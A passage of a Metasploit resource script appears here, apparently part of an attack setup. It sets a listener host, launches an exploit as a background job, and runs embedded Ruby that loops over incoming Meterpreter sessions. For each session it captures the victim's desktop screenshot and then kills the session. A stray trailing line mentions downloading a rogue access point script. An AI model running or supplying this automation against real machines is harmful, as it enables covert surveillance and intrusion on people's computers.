13	set LHOST 192.168.0.228
14	set ExitOnSession false
15
16	exploit -j
17
18	# The first sleep below is not necessary, but makes the output cleaner
19	<ruby>
20	sleep(1)
21
22	print_status("Waiting on an incoming sessions...")
23	while (true)
24	framework.sessions.each_pair do |sid,s|
25	thost = s.tunnel_peer.split(":")[0]
26
27	# Ensure that stdapi has been loaded before running
28	if s.ext.aliases['stdapi']
29	print_status("Screenshotting session #{sid} #{thost}...")
30	s.console.run_single("screenshot -p #{thost}_#{sid}.jpg -v false -q 85")
31	print_status("Closing session #{sid} #{thost}...")
32	s.kill
33	else
34	print_status("Session #{sid} #{thost} active, but not yet configured")
35	end
36
37	end
38	sleep(1)
39	end
40
41	print_status("All done")
42	</ruby>
43
44	# Kill all open sessions
45	sessions -K
46
47	# Exit the console (optional)
48	exit

Donwload rogue ap script.